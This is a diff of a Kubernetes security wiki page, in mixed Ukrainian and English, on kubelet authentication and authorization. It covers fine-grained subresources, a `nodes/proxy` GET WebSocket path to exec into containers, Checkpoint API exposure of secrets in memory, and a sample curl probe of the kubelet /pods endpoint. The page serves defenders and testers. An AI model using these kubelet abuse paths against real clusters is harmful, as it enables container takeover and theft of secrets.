використанням початкового HTTP **GET** рукопотискання. Принципал, у якого є лише `nodes/proxy` **GET**, все одно може виконувати exec у контейнерах, якщо підключається безпосередньо до `https://:10250` через WebSockets. Див. the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) для деталей. +У сучасних clusters fine-grained kubelet authorization увімкнено за замовчуванням. Kubernetes v1.36 зробив це stable: kubelet спочатку перевіряє більш конкретні subresources для шляхів на кшталт `/pods`, `/runningPods`, `/healthz` і `/configz` перед fallback до `nodes/proxy` для backward compatibility. -Наприклад, наступний запит намагався отримати інформацію про pods kubelet без дозволу: +| Kubelet API | preferred subresource | fallback | +| ----------- | --------------------- | -------- | +| /pods | nodes/pods | nodes/proxy | +| /runningPods/ | nodes/pods | nodes/proxy | +| /healthz | nodes/healthz | nodes/proxy | +| /configz | nodes/configz | nodes/proxy | + +Use these narrower subresources for monitoring and diagnostics when possible. Avoid granting broad `nodes/proxy` for ordinary metrics, stats, health, pod-listing, or config review because `nodes/proxy` still covers higher-impact kubelet APIs. + +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +The kubelet Checkpoint API (`POST /checkpoint///`) is another sensitive kubelet surface. Kubernetes v1.30 made container checkpointing beta and enabled by default, but a request still depends on kubelet authorization and runtime support such as CRI-O or containerd with checkpoint/CRIU capability. Successful checkpoints are written below the kubelet root directory, by default `/var/lib/kubelet/checkpoints`, and can contain process memory with tokens, keys, or application secrets. Restrict `nodes/checkpoint`, disable the old read-only port, limit direct kubelet network reachability, and monitor or clean checkpoint archives if the feature is intentionally used. + +For example, the following request tried to access the pods info of kubelet without permission: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Ми отримали **Forbidden**, тому запит **passed the Authentication check**. Якби ні, ми б отримали лише повідомлення `Unauthorised`. -- Ми бачимо **username** (у цьому випадку з token) -- Зверніть увагу, як **resource** було **nodes** і **subresource** — **proxy** (що узгоджується з попередньою інформацією) +- Ми отримали **Forbidden**, отже запит **пройшов Authentication check**. Якби ні, ми б отримали лише повідомлення `Unauthorised`. +- Ми можемо побачити **username** (у цьому випадку з token) +- Перевірте, що **resource** був **nodes** і **subresource** **proxy** (що має сенс з попередньою інформацією) -## Посилання +## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/) - [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}